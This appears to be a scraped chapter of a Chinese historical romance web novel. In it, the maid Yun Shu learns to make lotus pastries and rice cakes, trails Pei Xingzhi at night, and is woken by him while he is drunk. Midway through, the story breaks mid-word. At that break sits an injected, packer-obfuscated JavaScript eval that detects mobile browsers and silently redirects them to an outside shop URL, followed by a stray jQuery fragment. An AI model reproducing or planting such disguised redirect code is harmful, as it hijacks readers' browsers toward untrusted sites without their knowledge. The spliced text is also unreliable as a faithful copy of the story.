云舒在树下偷偷吃完鸡腿后就同裴行之分道扬镳了。
她擦了擦嘴,立刻小跑着回了厨房,期间绕错了好几个弯,但所幸最终还是磕磕绊绊回了厨房。
云舒一进厨房,就能感觉到有几道隐晦又强烈的眼神落在她的身上,可她回望过去,那些人就匆匆收回了视线,垂头假装很忙。
她笃定这些人一定是听到了中午的风声,这定远侯府就那么大,只要一个人知道了什么,那不出半日,整个府的人就知道了!
但云舒心中没什么恼气,很坦然地去找了张大娘。
张大娘还在干活,根本没有注意到旁边又站了一个人。
云舒垂头望向案板,只见张大娘的手指灵活的揉出了好几个面剂子,这些面剂子是经过染色的,表面呈现出粉色。
她问:“您要做什么呀?要不我帮您?”
张大娘的肩抖了一下,显然被云舒的突然出现给吓着了。
她缓了一会儿才回答云舒:“荷花酥。不用你帮,这是老夫人要吃的点心,你做的,不行。”
张大娘很是直接,若是厨房里的其他人说要来搭把手,她自是乐见其成了,但这个人偏偏是云舒,一个连鱼都不会杀,菜也不大会洗的丫头。
云舒一听到“荷花酥”这三个字,眼睛都亮了,对于张大娘直接的拒绝,她没放在心上,张大娘心直口快,但她是厨房中唯一愿意帮她的人,是个大好人。
但望着这荷花酥雏形,她神色惆怅,这怎么看怎么不像荷花酥。
荷花酥如其名,外表好似一朵绽放的荷花,娇艳欲滴,外皮酥酥脆脆,趁热吃的时候口感最好。
但如今张大娘手里的不过是几簇粉的黄的白的面团。
云舒又见她把白芯包进粉团中,又用擀面杖把粉团擀成饺子皮,折起来,之后又将黄芯包进折起来的粉团中,用小刀划了几个口子。
仍是不像荷花酥的模样。
像是做糕点这活讲究精巧,虽然张大娘常年在厨房中做活,会杀鱼洗菜,但她可能不太擅长做荷花酥。
可下一秒,云舒就目瞪口呆了。
只见那划了口的面团进了油锅,哗啦一下,荷花就绽开了。
花芯初露,花瓣纤长,就似真的荷花一样!
这比云舒所见过的所有荷花酥都要好看。
她忍不住赞美:“这个荷花简直栩栩如生,您也太厉害了吧!”
云舒心里对张大娘生出了无限的敬仰之情,定远侯府中真是卧虎藏龙。
要是能和张大娘学做糕点就好了,这样云舒就可以自己做出漂亮的糕点了,之后出了府她也能靠糕点铺做门营生。
于是云舒扯着自己的衣袖,含羞带怯地问:“您可不可以也教教我如何做糕点?”
张大娘沉默了,看起来不大想搭理云舒。
云舒认真地望着她,眨眨眼,语气中带着极大的撒娇意味:“求求你了,好姐姐,我也想像您一样厉害。”
见张大娘无动于衷,云舒还是想争取,她从袖中拿出了一些碎银,偷偷给张大娘:“这是些薄礼,您就收了我吧。”
张大娘神色复杂地收了银子,她问:“你要学做糕点是要做给二爷吃吗?”
云舒“啊”了一声,神色迷茫,这和裴行之有什么关系吗?
“外头都传,二爷要同你一生一世一双人。”
哇,都说的这么浪漫的吗?
可惜,不是哦。
但一想到裴行之说过的一百两银子,云舒怎么也得假装喜欢一下裴行之。
于是她脸不红心不跳的说:“嗯,书上不是说抓住一个男人的心就得先抓住一个男人的胃吗?”
张大娘轻轻点了下头,赞同道:“红颜会老去,但手艺不会。”
于是,在云舒的真诚攻势下,张大娘还是收了她这个笨徒。
其中有一个荷花酥没做好,她还偷偷给了垂涎的云舒,云舒吃的心满意足。
作工期间云舒更加殷勤了,嘴甜又会来事,师父长师父短地叫着张大娘。
张大娘嘴边也不知不觉有了些笑。
晚些时候,张大娘才忙里偷闲地教了云舒做第一种糕点——米糕。
张大娘说:“这是最简单的糕点了,首先要粳米粉混糯米粉,搓湿粉过筛,然后拿模具压成一块一块的放进蒸笼里蒸。”
云舒认真点了点头,和着张大娘的步骤慢慢来。
这时间不知不觉就到了戌时,夏日里天色黑的慢。
张大娘过目了云舒做的第四盘米糕,这才点了头让云舒回去了。
云舒松了一口气,忍不住打了个饱嗝,先前做的不大成功的米糕都进了她的肚子,如今食物都要堆到嗓子眼了,要再不成功,她就要吃吐了。
她扶着腰才回到了厢房中,厢房中黑漆漆的,云舒点了支蜡,在里头来回踱步,无他,她很撑。
关了门,夜里有阴风吹过,外头还有乌鸦叫,细细听,云舒似乎还听到了女人的啜泣声,那女人好像在叫……二爷?
实在有些诡异,难不成,女鬼索命来了?
只听一扇门扉开了,传来一道男人的声音,听声音传向,似乎是主卧的方向。
云舒悄悄开了对着主卧房向的窗,她只开了个缝隙,透过摇曳的纱窗,就见着个一身素衣,身姿窈窕的女人提着一盏灯,青丝三千,如同一只夜里吸人精气的鬼魅,她几乎要站立不稳朝对着她的男人方向倒过去。
云舒像偷了腥的猫,惊讶地捂住了嘴,她唇边的笑几乎快掩不住。
话本子里怎么说,黑灯瞎火,孤男寡女,偷偷相会。
而这狂徒,还是定远侯府的二公子,云舒得意极了,她算是抓到了裴行之的狐狸尾巴。
先前裴行之把她安在自己眼皮底下,说要捉她的狐狸尾巴,可如今,他真是搬起石头砸自己的脚!
果然男人天意风流,可以一边爱慕大嫂,一边享受美人在侧的风月缠绵。
呸,脏男人!
此时此刻,云舒完全没意识到,自己是这脏男人的未婚妻。
在云舒的想像中,下一刻裴行之应该要怜惜地拥住那如精怪般的女子,然后房门蓦地紧关,过不了多时,红烛摇晃,春光无限。
她抓着窗的手紧了几分,脸上染了些红,羞的。
但没有。
裴行之反应很迅速,朝旁边挪了几步,女子扑了个空,惊叫出声,他就用手扯住女子的手腕,没让她摔倒。
女人微微欠身,不知和裴行之说了什么,两人就缓缓出了院门。
云舒又将窗户开大了些,心中好奇得紧,也不知他们两个要去哪幽会?
于是她也蹑手蹑脚地也跟着出了门。
云
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815380|211034||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
舒同裴行之那群人隔着很远的距离,就怕被发现了。话本子中不常说,习武之人可听声辨位,武力高深的,甚至能感受到方圆几里有多少人。
而且,跟踪又不是什么好事,被裴行之发现,她肯定死定了。
云舒是靠着墙边走的,最好旁边有树丛遮掩。
不知不觉,云舒就跟到了个叫沁芳园的地儿,云舒也不知道这是哪儿,只觉得这个院子很素。
往院里去看,就感觉到满满的禅意,又素静又美观,还能听见活水的流淌声。
这是哪儿?
云舒见着裴行之和那女子径直走了进去,纠结之下正要进去,才发现里头候着好几个丫鬟。
其中有个胖丫鬟很眼熟,那是老夫人的贴身侍女。
所以……这里是老夫人院里。
云舒脚步顿住,败兴而归,看来裴行之拿的不是深夜与妖娆婢女幽会的桥段。
云舒决定回去。
她打了个哈欠,觉得得不偿失,为了抓裴行之的小尾巴浪费宝贵的晚间时间,明日她还得卯时起来去厨房帮工呢。
回去时,她再一次的感叹侯府的路太过弯弯绕绕,实在难寻出路。
云舒又花了好久才回了厢房,她闭上了眼。
云舒本以为这一睡就得在鸡鸣三声之后再起的,结果有个人稳步走进了云舒的屋子,然后,摇醒了她。
“醒醒,别睡了。”
云舒嫌这个声音烦,闭着眼朝身前乱挥,眼睛愣是睁不开,她只以为是讨厌的蚊子又来叮她了。
一只温凉的手贴在她的脸上,云舒轻“哼”几声,掖好被子,转过身去。
那人有些不满,作恶地凑近云舒的耳朵,低声问:“今天为什么跟踪我?”
然后,他轻轻吹了口气。
云舒吓猛地睁眼,直以为有妖怪。一仰头,就见到一双眯着的眸子。
云舒:“……”
她本来应该有惊讶,羞愤,不满此类情绪,可她的心就如一潭死水。
呵,毫不意外呢。
云舒揉了下眼,语气中还含着困意:“干什么。”
她语气不怎么好,被人半夜吵醒,就算云舒是个怂货也实在不想给好脸色。
裴行之从身后拿出了一大坛酒,他说:“睡不着,陪我喝酒。”
云舒这才发现,他脸色有些红,脚步浮,每一句话都含着酒意,明显是醉了!
云舒说:“你醉了。”
裴行之抿着嘴,勾笑:“笑话。”
“我在军营中,千杯不醉。”
“那这是几?”
云舒挑起两根指头,送到裴行之面前。
他费解地说:“……这是个兔子。”
嗯,根据云舒的分析,裴行之就是醉了,还醉的不清。
之前爹在外与同僚应酬的时候,也经常喝得烂醉如泥,回来时总是抱着云舒的狸奴笑着喊:“舒儿。”
还说:“舒儿怎么变小了?”
云舒想到往事,心里不禁又怅然了几分。
裴行之见她迟迟不回话,嘟囔了声“麻烦”,随后一把打横抱起云舒。
云舒完全没料到裴行之的动作这么得不可控,失重感让她先一步下意识攀住了裴行之的脖子。
她心里暗暗尖叫,心中的羞赧一闪而过,生怕裴行之把她摔着了。